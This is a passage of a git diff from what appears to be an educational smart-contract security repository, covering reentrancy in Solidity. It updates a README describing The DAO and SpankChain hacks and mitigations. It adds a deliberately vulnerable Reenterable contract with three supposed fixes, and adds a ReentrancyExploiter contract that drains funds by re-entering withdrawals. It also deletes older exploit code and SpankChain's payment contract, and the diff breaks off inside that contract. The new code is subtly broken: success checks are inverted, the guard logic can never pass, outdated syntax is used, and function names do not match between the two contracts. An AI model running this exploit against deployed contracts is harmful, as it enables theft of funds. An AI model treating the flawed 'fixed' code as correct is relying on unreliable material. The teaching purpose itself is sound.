was for The DAO. + +However, reentrancy attacked lived on via more complicated function calls. For example, [SpankChain's state channels experienced a reentrancy attack](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) due to their support for user-supplied tokens. The attacker supplied a modified ERC20 token with a `transfer` function that called back into the SpankChain state channel manager to repeatedly withdraw funds. + +Notable, in both of these cases the exploited contract did not follow the [Check-Effects-Interaction pattern](https://docs.soliditylang.org/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern): +1. Check that the user-supplied parameters are valid eg that a withdrawing user has sufficient balance +2. Update accounting variables eg set the withdrawing user's balance to zero. +3. Send the user's withdrawal to their address. + +If SpankChain updated the user's balance to zero before calling `transfer` on the token contract, then there would be nothing to withdraw when the token called back into the withdrawal method. -- Avoid use of `call.value` -- Update all bookkeeping state variables _before_ transferring execution to an external contract. +## Example + +See the four different withdraw functions of [Reenterable](Reenterable.sol). The first one is vulnerable to reentrancy attacks by the [ReentrancyExploiter](ReentrancyExploiter.sol) but the other three are fixed in the three different ways described below. + +## Mitigations -## Examples +- Use the check-effects-interaction pattern: update all bookkeeping state variables **before** allowing an external contracts to execute. +- Use `send` or `transfer` to move ether to an external account, these only supply 2300 gas which is not enough to call back into the calling contract. +- Use a reentrancy guard on sensitive external functions. This acts as a mutex to ensure that a function can't be called again until it completely finishes executing the current call. [OpenZeppelin's ReentrancyGuard](https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard) provides a ready-made function modifier for this. -- The [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) hack -- The [SpankChain](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) hack diff --git a/not-so-smart-contracts/solidity/reentrancy/Reenterable.sol b/not-so-smart-contracts/solidity/reentrancy/Reenterable.sol new file mode 100644 index 00000000..0df36180 --- /dev/null +++ b/not-so-smart-contracts/solidity/reentrancy/Reenterable.sol @@ -0,0 +1,49 @@ +pragma solidity ^0.8.17; + +contract Reenterable { + mapping (address => uint) public balances; + bool public reentrancyGuard = true; + + function getBalance(address u) public constant returns(uint){ + return balances[u]; + } + + function deposit() public payable{ + balances[msg.sender] += msg.value; + } + + function withdraw() public { + // send balances[msg.sender] ethers to msg.sender + // if mgs.sender is a contract, it will call its fallback function + // solhint-disable-next-line avoid-low-level-calls + require(!(msg.sender.call{ value: balances[msg.sender] }()), "Call failed"); + balances[msg.sender] = 0; + } + + function checkEffectsInteractWithdraw() public { + // to protect against re-entrancy, the state variable is updated BEFORE the external call + uint amount = balances[msg.sender]; + balances[msg.sender] = 0; + // solhint-disable-next-line avoid-low-level-calls + require(!(msg.sender.call{ value: amount }()), "Call failed"); + } + + function transferWithdraw() public { + // send() and transfer() are safe against reentrancy + // they do not transfer all remaining gas, instead giving just enough gas to execute few instructions + msg.sender.transfer(balances[msg.sender]); + balances[msg.sender] = 0; // solhint-disable-line reentrancy + } + + function guardedWithdraw() public { + require(!reentrancyGuard, "Reentrant"); + reentrancyGuard = false; // Now, no external contracts can call this function + // send() and transfer() are safe against reentrancy + // they do not transfer all remaining gas, instead giving just enough gas to execute few instructions + // solhint-disable-next-line avoid-low-level-calls + require(!(msg.sender.call{ value: balances[msg.sender] }()), "Call failed"); + balances[msg.sender] = 0; + reentrancyGuard = true; // Now, external contracts can call this function again + } + +} diff --git a/not-so-smart-contracts/solidity/reentrancy/Reentrancy.sol b/not-so-smart-contracts/solidity/reentrancy/Reentrancy.sol deleted file mode 100644 index 26ea2cbb..00000000 --- a/not-so-smart-contracts/solidity/reentrancy/Reentrancy.sol +++ /dev/null @@ -1,43 +0,0 @@ -pragma solidity ^0.4.15; - -contract Reentrance { - mapping (address => uint) userBalance; - - function getBalance(address u) constant returns(uint){ - return userBalance[u]; - } - - function addToBalance() payable{ - userBalance[msg.sender] += msg.value; - } - - function withdrawBalance(){ - // send userBalance[msg.sender] ethers to msg.sender - // if mgs.sender is a contract, it will call its fallback function - if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){ - throw; - } - userBalance[msg.sender] = 0; - } - - function withdrawBalance_fixed(){ - // to protect against re-entrancy, the state variable - // has to be change before the call - uint amount = userBalance[msg.sender]; - userBalance[msg.sender] = 0; - if( ! (msg.sender.call.value(amount)() ) ){ - throw; - } - } - - function withdrawBalance_fixed_2(){ - // send() and transfer() are safe against reentrancy - // they do not transfer the remaining gas - // and they give just enough gas to execute few instructions - // in the fallback function (no further call possible) - msg.sender.transfer(userBalance[msg.sender]); - userBalance[msg.sender] = 0; - } - -} - diff --git a/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploit.sol b/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploit.sol deleted file mode 100644 index 9a9ae1ef..00000000 --- a/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploit.sol +++ /dev/null @@ -1,39 +0,0 @@ -pragma solidity ^0.4.15; - -contract ReentranceExploit { - bool public attackModeIsOn=false; - address public vulnerable_contract; - address public owner; - - function ReentranceExploit() public{ - owner = msg.sender; - } - - function deposit(address _vulnerable_contract) public payable{ - vulnerable_contract = _vulnerable_contract ; - // call addToBalance with msg.value ethers - require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()")))); - } - - function launch_attack() public{ - attackModeIsOn = true; - // call withdrawBalance - // withdrawBalance calls the fallback of ReentranceExploit - require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); - } - - - function () public payable{ - // atackModeIsOn is used to execute the attack only once - // otherwise there is a loop between withdrawBalance and the fallback function - if (attackModeIsOn){ - attackModeIsOn = false; - require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); - } - } - - function get_money(){ - suicide(owner); - } - -} diff --git a/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol b/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol new file mode 100644 index 00000000..31f9e98c --- /dev/null +++ b/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.8.17; + +contract ReentranceExploiter { + bool public attackModeIsOn=false; + address public vulnerableContract; + address public owner; + + constructor() { + owner = msg.sender; + } + + function deposit(address _vulnerableContract) public payable{ + vulnerableContract = _vulnerableContract ; + // call addToBalance with msg.value ethers + require( + // solhint-disable-next-line avoid-low-level-calls + vulnerableContract.call{ value: msg.value }(bytes4(keccak256("addToBalance()"))), + "Call failed" + ); + } + + function launchAttack() public{ + attackModeIsOn = true; + // call withdrawBalance + // withdrawBalance calls the fallback of ReentranceExploit + require( + // solhint-disable-next-line avoid-low-level-calls + vulnerableContract.call(bytes4(keccak256("withdrawBalance()"))), + "Call failed" + ); + } + + // This function will be executed when Reenterable sends ether to this contract + fallback() payable { + // atackModeIsOn is used to execute the attack only once + // otherwise there is an infinite loop between withdrawBalance and the fallback function + if (attackModeIsOn){ + attackModeIsOn = false; + require( + // solhint-disable-next-line avoid-low-level-calls + vulnerableContract.call(bytes4(keccak256("withdrawBalance()"))), + "Call failed" + ); + } + } + + function getMoney() public { + selfdestruct(owner); + } + +} diff --git a/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/README.md b/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/README.md deleted file mode 100644 index c7f23f82..00000000 --- a/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# Overview - -There are two contracts in this directory: - -- `SpankChain.sol`, which was not vulnerable -- `SpankChain_Payment.sol` which contained the [SpankChain hack](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) vulnerability - -Both contracts are preserved here for posterity. The "tl;dr" of the vulnerability: - -- The attacker called `createChannel` to setup a channel -- they then called `LCOpenTimeout` repeatedly -- Since `LCOpenTimeout` sends ETH *and then* removes the balance, an attacker can call it over and over to drain the account - -The fix? Never update state before a `transfer`, a `send`, a `call`, and so on; always perform those actions as the last step of the process in any contract that interacts with the -world diff --git a/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain.sol b/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain.sol deleted file mode 100644 index e44188e3..00000000 --- a/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain.sol +++ /dev/null @@ -1,155 +0,0 @@ -// https://etherscan.io/address/0x42d6622dece394b54999fbd73d108123806f6a18#code - -// Abstract contract for the full ERC 20 Token standard -// https://github.com/ethereum/EIPs/issues/20 -pragma solidity 0.4.15; - -contract Token { - /* This is a slight change to the ERC20 base standard. - function totalSupply() constant returns (uint256 supply); - is replaced with: - uint256 public totalSupply; - This automatically creates a getter function for the totalSupply. - This is moved to the base contract since public getter functions are not - currently recognised as an implementation of the matching abstract - function by the compiler. - */ - /// total amount of tokens - uint256 public totalSupply; - - /// @param _owner The address from which the balance will be retrieved - /// @return The balance - function balanceOf(address _owner) constant returns (uint256 balance); - - /// @notice send `_value` token to `_to` from `msg.sender` - /// @param _to The address of the recipient - /// @param _value The amount of token to be transferred - /// @return Whether the transfer was successful or not - function transfer(address _to, uint256 _value) returns (bool success); - - /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` - /// @param _from The address of the sender - /// @param _to The address of the recipient - /// @param _value The amount of token to be transferred - /// @return Whether the transfer was successful or not - function transferFrom(address _from, address _to, uint256 _value) returns (bool success); - - /// @notice `msg.sender` approves `_spender` to spend `_value` tokens - /// @param _spender The address of the account able to transfer the tokens - /// @param _value The amount of tokens to be approved for transfer - /// @return Whether the approval was successful or not - function approve(address _spender, uint256 _value) returns (bool success); - - /// @param _owner The address of the account owning tokens - /// @param _spender The address of the account able to transfer the tokens - /// @return Amount of remaining tokens allowed to spent - function allowance(address _owner, address _spender) constant returns (uint256 remaining); - - event Transfer(address indexed _from, address indexed _to, uint256 _value); - event Approval(address indexed _owner, address indexed _spender, uint256 _value); -} - - -/* -You should inherit from StandardToken or, for a token like you would want to -deploy in something like Mist, see HumanStandardToken.sol. -(This implements ONLY the standard functions and NOTHING else. -If you deploy this, you won't have anything useful.) - -Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 -.*/ -contract StandardToken is Token { - - function transfer(address _to, uint256 _value) returns (bool success) { - //Default assumes totalSupply can't be over max (2^256 - 1). - //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. - //Replace the if with this one instead. - //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); - require(balances[msg.sender] >= _value); - balances[msg.sender] -= _value; - balances[_to] += _value; - Transfer(msg.sender, _to, _value); - return true; - } - - function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { - //same as above. Replace this line with the following if you want to protect against wrapping uints. - //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); - require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); - balances[_to] += _value; - balances[_from] -= _value; - allowed[_from][msg.sender] -= _value; - Transfer(_from, _to, _value); - return true; - } - - function balanceOf(address _owner) constant returns (uint256 balance) { - return balances[_owner]; - } - - function approve(address _spender, uint256 _value) returns (bool success) { - allowed[msg.sender][_spender] = _value; - Approval(msg.sender, _spender, _value); - return true; - } - - function allowance(address _owner, address _spender) constant returns (uint256 remaining) { - return allowed[_owner][_spender]; - } - - mapping (address => uint256) balances; - mapping (address => mapping (address => uint256)) allowed; -} - -/* -This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans. - -In other words. This is intended for deployment in something like a Token Factory or Mist wallet, and then used by humans. -Imagine coins, currencies, shares, voting weight, etc. -Machine-based, rapid creation of many tokens would not necessarily need these extra features or will be minted in other manners. - -1) Initial Finite Supply (upon creation one specifies how much is minted). -2) In the absence of a token registry: Optional Decimal, Symbol & Name. -3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred. - -.*/ -contract HumanStandardToken is StandardToken { - - /* Public variables of the token */ - - /* - NOTE: - The following variables are OPTIONAL vanities. One does not have to include them. - They allow one to customise the token contract & in no way influences the core functionality. - Some wallets/interfaces might not even bother to look at this information. - */ - string public name; //fancy name: eg Simon Bucks - uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. - string public symbol; //An identifier: eg SBX - string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. - - function HumanStandardToken( - uint256 _initialAmount, - string _tokenName, - uint8 _decimalUnits, - string _tokenSymbol - ) { - balances[msg.sender] = _initialAmount; // Give the creator all initial tokens - totalSupply = _initialAmount; // Update total supply - name = _tokenName; // Set the name for display purposes - decimals = _decimalUnits; // Amount of decimals for display purposes - symbol = _tokenSymbol; // Set the symbol for display purposes - } - - /* Approves and then calls the receiving contract */ - function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { - allowed[msg.sender][_spender] = _value; - Approval(msg.sender, _spender, _value); - - //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. - //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) - //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. - require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); - return true; - } -} diff --git a/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain_Payment.sol b/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain_Payment.sol deleted file mode 100644 index 80d33a31..00000000 --- a/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain_Payment.sol +++ /dev/null @@ -1,888 +0,0 @@ -// https://etherscan.io/address/0xf91546835f756da0c10cfa0cda95b15577b84aa7#code - -pragma solidity ^0.4.23; -// produced by the Solididy File Flattener (c) David Appleton 2018 -// contact : dave@akomba.com -// released under Apache 2.0 licence -contract Token { - /* This is a slight change to the ERC20 base standard. - function totalSupply() constant returns (uint256 supply); - is replaced with: - uint256 public totalSupply; - This automatically creates a getter function for the totalSupply. - This is moved to the base contract since public getter functions are not - currently recognised as an implementation of the matching abstract - function by the compiler. - */ - /// total amount of tokens - uint256 public totalSupply; - - /// @param _owner The address from which the balance will be retrieved - /// @return The balance - function balanceOf(address _owner) public constant returns (uint256 balance); - - /// @notice send `_value` token to `_to` from `msg.sender` - /// @param _to The address of the recipient - /// @param _value The amount of token to be transferred - /// @return Whether the transfer was successful or not - function transfer(address _to, uint256 _value) public returns (bool success); - - /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` - /// @param _from The address of the sender - /// @param _to The address of the recipient - /// @param _value The amount of token to be transferred - /// @return Whether the transfer was successful or not - function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); - - /// @notice `msg.sender` approves `_spender` to spend `_value` tokens - /// @param _spender The address of the account able to transfer the tokens - /// @param _value The amount of tokens to be approved for transfer - /// @return Whether the approval was successful or not - function approve(address _spender, uint256 _value) public returns (bool success); - - /// @param _owner The address of the account owning tokens - /// @param _spender The address of the account able to transfer the tokens - /// @return Amount of remaining tokens allowed to spent - function allowance(address _owner, address _spender) public constant returns (uint256 remaining); - - event Transfer(address indexed _from, address indexed _to, uint256 _value); - event Approval(address indexed _owner, address indexed _spender, uint256 _value); -} - -library ECTools { - - // @dev Recovers the address which has signed a message - // @thanks https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d - function recoverSigner(bytes32 _hashedMsg, string _sig) public pure returns (address) { - require(_hashedMsg != 0x00); - - // need this for test RPC - bytes memory prefix = "\x19Ethereum Signed Message:\n32"; - bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashedMsg)); - - if (bytes(_sig).length != 132) { - return 0x0; - } - bytes32 r; - bytes32 s; - uint8 v; - bytes memory sig = hexstrToBytes(substring(_sig, 2, 132)); - assembly { - r := mload(add(sig, 32)) - s := mload(add(sig, 64)) - v := byte(0, mload(add(sig, 96))) - } - if (v < 27) { - v += 27; - } - if (v < 27 || v > 28) { - return 0x0; - } - return ecrecover(prefixedHash, v, r, s); - } - - // @dev Verifies if the message is signed by an address - function isSignedBy(bytes32 _hashedMsg, string _sig, address _addr) public pure returns (bool) { - require(_addr != 0x0); - - return _addr == recoverSigner(_hashedMsg, _sig); - } - - // @dev Converts an hexstring to bytes - function hexstrToBytes(string _hexstr) public pure returns (bytes) { - uint len = bytes(_hexstr).length; - require(len % 2 == 0); - - bytes memory bstr = bytes(new string(len / 2)); - uint k = 0; - string memory s; - string memory r; - for (uint i = 0; i < len; i += 2) { - s = substring(_hexstr, i, i + 1); - r = substring(_hexstr, i + 1, i + 2); - uint p = parseInt16Char(s) * 16 + parseInt16Char(r); - bstr[k++] = uintToBytes32(p)[31]; - } - return bstr; - } - - // @dev Parses a hexchar, like 'a', and returns its hex value, in this case 10 - function parseInt16Char(string _char) public pure returns (uint) { - bytes memory bresult = bytes(_char); - // bool decimals = false; - if ((bresult[0] >= 48) && (bresult[0] <= 57)) { - return uint(bresult[0]) - 48; - } else if ((bresult[0] >= 65) && (bresult[0] <= 70)) { - return uint(bresult[0]) - 55; - } else if ((bresult[0] >= 97) && (bresult[0] <= 102)) { - return uint(bresult[0]) - 87; - } else { - revert(); - } - } - - // @dev Converts a uint to a bytes32 - // @thanks https://ethereum.stackexchange.com/questions/4170/how-to-convert-a-uint-to-bytes-in-solidity - function uintToBytes32(uint _uint) public pure returns (bytes b) { - b = new bytes(32); - assembly {mstore(add(b, 32), _uint)} - } - - // @dev Hashes the signed message - // @ref https://github.com/ethereum/go-ethereum/issues/3731#issuecomment-293866868 - function toEthereumSignedMessage(string _msg) public pure returns (bytes32) { - uint len = bytes(_msg).length; - require(len > 0); - bytes memory prefix = "\x19Ethereum Signed Message:\n"; - return keccak256(abi.encodePacked(prefix, uintToString(len), _msg)); - } - - // @dev Converts a uint in a string - function uintToString(uint _uint) public pure returns (string str) { - uint len = 0; - uint m = _uint + 0; - while (m != 0) { - len++; - m /= 10; - } - bytes memory b = new bytes(len); - uint i = len - 1; - while (_uint != 0) { - uint remainder = _uint % 10; - _uint = _uint / 10; - b[i--] = byte(48 + remainder); - } - str = string(b); - } - - - // @dev extract a substring - // @thanks https://ethereum.stackexchange.com/questions/31457/substring-in-solidity - function substring(string _str, uint _startIndex, uint _endIndex) public pure returns (string) { - bytes memory strBytes = bytes(_str); - require(_startIndex <= _endIndex); - require(_startIndex >= 0); - require(_endIndex <= strBytes.length); - - bytes memory result = new bytes(_endIndex - _startIndex); - for (uint i = _startIndex; i < _endIndex; i++) { - result[i - _startIndex] = strBytes[i]; - } - return string(result); - } -} -contract StandardToken is Token { - - function transfer(address _to, uint256 _value) public returns (bool success) { - //Default assumes totalSupply can't be over max (2^256 - 1). - //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. - //Replace the if with this one instead. - //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); - require(balances[msg.sender] >= _value); - balances[msg.sender] -= _value; - balances[_to] += _value; - emit Transfer(msg.sender, _to, _value); - return true; - } - - function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { - //same as above. Replace this line with the following if you want to protect against wrapping uints. - //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); - require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); - balances[_to] += _value; - balances[_from] -= _value; - allowed[_from][msg.sender] -= _value; - emit Transfer(_from, _to, _value); - return true; - } - - function balanceOf(address _owner) public constant returns (uint256 balance) { - return balances[_owner]; - } - - function approve(address _spender, uint256 _value) public returns (bool success) { - allowed[msg.sender][_spender] = _value; - emit Approval(msg.sender, _spender, _value); - return true; - } - - function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { - return allowed[_owner][_spender]; - } - - mapping (address => uint256) balances; - mapping (address => mapping (address => uint256)) allowed; -} - -contract HumanStandardToken is StandardToken { - - /* Public variables of the token */ - - /* - NOTE: - The following variables are OPTIONAL vanities. One does not have to include them. - They allow one to customise the token contract & in no way influences the core functionality. - Some wallets/interfaces might not even bother to look at this information. - */ - string public name; //fancy name: eg Simon Bucks - uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. - string public symbol; //An identifier: eg SBX - string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. - - constructor( - uint256 _initialAmount, - string _tokenName, - uint8 _decimalUnits, - string _tokenSymbol - ) public { - balances[msg.sender] = _initialAmount; // Give the creator all initial tokens - totalSupply = _initialAmount; // Update total supply - name = _tokenName; // Set the name for display purposes - decimals = _decimalUnits; // Amount of decimals for display purposes - symbol = _tokenSymbol; // Set the symbol for display purposes - } - - /* Approves and then calls the receiving contract */ - function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { - allowed[msg.sender][_spender] = _value; - emit Approval(msg.sender, _spender, _value); - - //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. - //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) - //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. - require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); - return true; - } -} - -contract LedgerChannel { - - string public constant NAME = "Ledger Channel"; - string public constant VERSION = "0.0.1"; - - uint256 public numChannels = 0; - - event DidLCOpen ( - bytes32 indexed channelId, - address indexed partyA, - address indexed partyI, - uint256 ethBalanceA, - address token, - uint256 tokenBalanceA, - uint256 LCopenTimeout - ); - - event DidLCJoin ( - bytes32 indexed channelId, - uint256 ethBalanceI, - uint256 tokenBalanceI - ); - - event DidLCDeposit ( - bytes32 indexed channelId, - address indexed recipient, - uint256 deposit, - bool isToken - ); - - event DidLCUpdateState ( - bytes32 indexed channelId, - uint256 sequence, - uint256 numOpenVc, - uint256 ethBalanceA, - uint256 tokenBalanceA, - uint256 ethBalanceI, - uint256 tokenBalanceI, - bytes32 vcRoot, - uint256 updateLCtimeout - ); - - event DidLCClose ( - bytes32 indexed channelId, - uint256 sequence, - uint256 ethBalanceA, - uint256 tokenBalanceA, - uint256 ethBalanceI, - uint256 tokenBalanceI - ); - - event DidVCInit ( - bytes32 indexed lcId, - bytes32 indexed vcId, - bytes proof, - uint256 sequence, - address partyA, - address partyB, - uint256 balanceA, - uint256 balanceB - ); - - event DidVCSettle ( - bytes32 indexed lcId, - bytes32 indexed vcId, - uint256 updateSeq, - uint256 updateBalA, - uint256 updateBalB, - address challenger, - uint256 updateVCtimeout - ); - - event DidVCClose( - bytes32 indexed lcId, - bytes32 indexed vcId, - uint256 balanceA, - uint256 balanceB - ); - - struct Channel { - //TODO: figure out if it's better just to split arrays by balances/deposits instead of eth/erc20 - address[2] partyAddresses; // 0: partyA 1: partyI - uint256[4] ethBalances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI - uint256[4] erc20Balances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI - uint256[2] initialDeposit; // 0: eth 1: tokens - uint256 sequence; - uint256 confirmTime; - bytes32 VCrootHash; - uint256 LCopenTimeout; - uint256 updateLCtimeout; // when update LC times out - bool isOpen; // true when both parties have joined - bool isUpdateLCSettling; - uint256 numOpenVC; - HumanStandardToken token; - } - - // virtual-channel state - struct VirtualChannel { - bool isClose; - bool isInSettlementState; - uint256 sequence; - address challenger; // Initiator of challenge - uint256 updateVCtimeout; // when update VC times out - // channel state - address partyA; // VC participant A - address partyB; // VC participant B - address partyI; // LC hub - uint256[2] ethBalances; - uint256[2] erc20Balances; - uint256[2] bond; - HumanStandardToken token; - } - - mapping(bytes32 => VirtualChannel) public virtualChannels; - mapping(bytes32 => Channel) public Channels; - - function createChannel( - bytes32 _lcID, - address _partyI, - uint256 _confirmTime, - address _token, - uint256[2] _balances // [eth, token] - ) - public - payable - { - require(Channels[_lcID].partyAddresses[0] == address(0), "Channel has already been created."); - require(_partyI != 0x0, "No partyI address provided to LC creation"); - require(_balances[0] >= 0 && _balances[1] >= 0, "Balances cannot be negative"); - // Set initial ledger channel state - // Alice must execute this and we assume the initial state - // to be signed from this requirement - // Alternative is to check a sig as in joinChannel - Channels[_lcID].partyAddresses[0] = msg.sender; - Channels[_lcID].partyAddresses[1] = _partyI; - - if(_balances[0] != 0) { - require(msg.value == _balances[0], "Eth balance does not match sent value"); - Channels[_lcID].ethBalances[0] = msg.value; - } - if(_balances[1] != 0) { - Channels[_lcID].token = HumanStandardToken(_token); - require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"CreateChannel: token transfer failure"); - Channels[_lcID].erc20Balances[0] = _balances[1]; - } - - Channels[_lcID].sequence = 0; - Channels[_lcID].confirmTime = _confirmTime; - // is close flag, lc state sequence, number open vc, vc root hash, partyA... - //Channels[_lcID].stateHash = keccak256(uint256(0), uint256(0), uint256(0), bytes32(0x0), bytes32(msg.sender), bytes32(_partyI), balanceA, balanceI); - Channels[_lcID].LCopenTimeout = now + _confirmTime; - Channels[_lcID].initialDeposit = _balances; - - emit DidLCOpen(_lcID, msg.sender, _partyI, _balances[0], _token, _balances[1], Channels[_lcID].LCopenTimeout); - } - - function LCOpenTimeout(bytes32 _lcID) public { - require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false); - require(now > Channels[_lcID].LCopenTimeout); - - if(Channels[_lcID].initialDeposit[0] != 0) { - Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]); - } - if(Channels[_lcID].initialDeposit[1] != 0) { - require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], Channels[_lcID].erc20Balances[0]),"CreateChannel: token transfer failure"); - } - - emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0); - - // only safe to delete since no action was taken on this channel - delete Channels[_lcID]; - } - - function joinChannel(bytes32 _lcID, uint256[2] _balances) public payable { - // require the channel is not open yet - require(Channels[_lcID].isOpen == false); - require(msg.sender == Channels[_lcID].partyAddresses[1]); - - if(_balances[0] != 0) { - require(msg.value == _balances[0], "state balance does not match sent value"); - Channels[_lcID].ethBalances[1] = msg.value; - } - if(_balances[1] != 0) { - require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"joinChannel: token transfer failure"); - Channels[_lcID].erc20Balances[1] = _balances[1]; - } - - Channels[_lcID].initialDeposit[0]+=_balances[0]; - Channels[_lcID].initialDeposit[1]+=_balances[1]; - // no longer allow joining functions to be called - Channels[_lcID].isOpen = true; - numChannels++; - - emit DidLCJoin(_lcID, _balances[0], _balances[1]); - } - - - // additive updates of monetary state - // TODO check this for attack vectors - function deposit(bytes32 _lcID, address recipient, uint256 _balance, bool isToken) public payable { - require(Channels[_lcID].isOpen == true, "Tried adding funds to a closed channel"); - require(recipient == Channels[_lcID].partyAddresses[0] || recipient == Channels[_lcID].partyAddresses[1]); - - //if(Channels[_lcID].token) - - if (Channels[_lcID].partyAddresses[0] == recipient) { - if(isToken) { - require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); - Channels[_lcID].erc20Balances[2] += _balance; - } else { - require(msg.value == _balance, "state balance does not match sent value"); - Channels[_lcID].ethBalances[2] += msg.value; - } - } - - if (Channels[_lcID].partyAddresses[1] == recipient) { - if(isToken) { - require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); - Channels[_lcID].erc20Balances[3] += _balance; - } else { - require(msg.value == _balance, "state balance does not match sent value"); - Channels[_lcID].ethBalances[3] += msg.value; - } - } - - emit DidLCDeposit(_lcID, recipient, _balance, isToken); - } - - // TODO: Check there are no open virtual channels, the client should have cought this before signing a close LC state update - function consensusCloseChannel( - bytes32 _lcID, - uint256 _sequence, - uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI - string _sigA, - string _sigI - ) - public - { - // assume num open vc is 0 and root hash is 0x0 - //require(Channels[_lcID].sequence < _sequence); - require(Channels[_lcID].isOpen == true); - uint256 totalEthDeposit = Channels[_lcID].initialDeposit[0] + Channels[_lcID].ethBalances[2] + Channels[_lcID].ethBalances[3]; - uint256 totalTokenDeposit = Channels[_lcID].initialDeposit[1] + Channels[_lcID].erc20Balances[2] + Channels[_lcID].erc20Balances[3]; - require(totalEthDeposit == _balances[0] + _balances[1]); - require(totalTokenDeposit == _balances[2] + _balances[3]); - - bytes32 _state = keccak256( - abi.encodePacked( - _lcID, - true, - _sequence, - uint256(0), - bytes32(0x0), - Channels[_lcID].partyAddresses[0], - Channels[_lcID].partyAddresses[1], - _balances[0], - _balances[1], - _balances[2], - _balances[3] - ) - ); - - require(Channels[_lcID].partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); - require(Channels[_lcID].partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); - - Channels[_lcID].isOpen = false; - - if(_balances[0] != 0 || _balances[1] != 0) { - Channels[_lcID].partyAddresses[0].transfer(_balances[0]); - Channels[_lcID].partyAddresses[1].transfer(_balances[1]); - } - - if(_balances[2] != 0 || _balances[3] != 0) { - require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], _balances[2]),"happyCloseChannel: token transfer failure"); - require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[1], _balances[3]),"happyCloseChannel: token transfer failure"); - } - - numChannels--; - - emit DidLCClose(_lcID, _sequence, _balances[0], _balances[1], _balances[2], _balances[3]); - } - - // Byzantine functions - - function updateLCstate( - bytes32 _lcID, - uint256[6] updateParams, 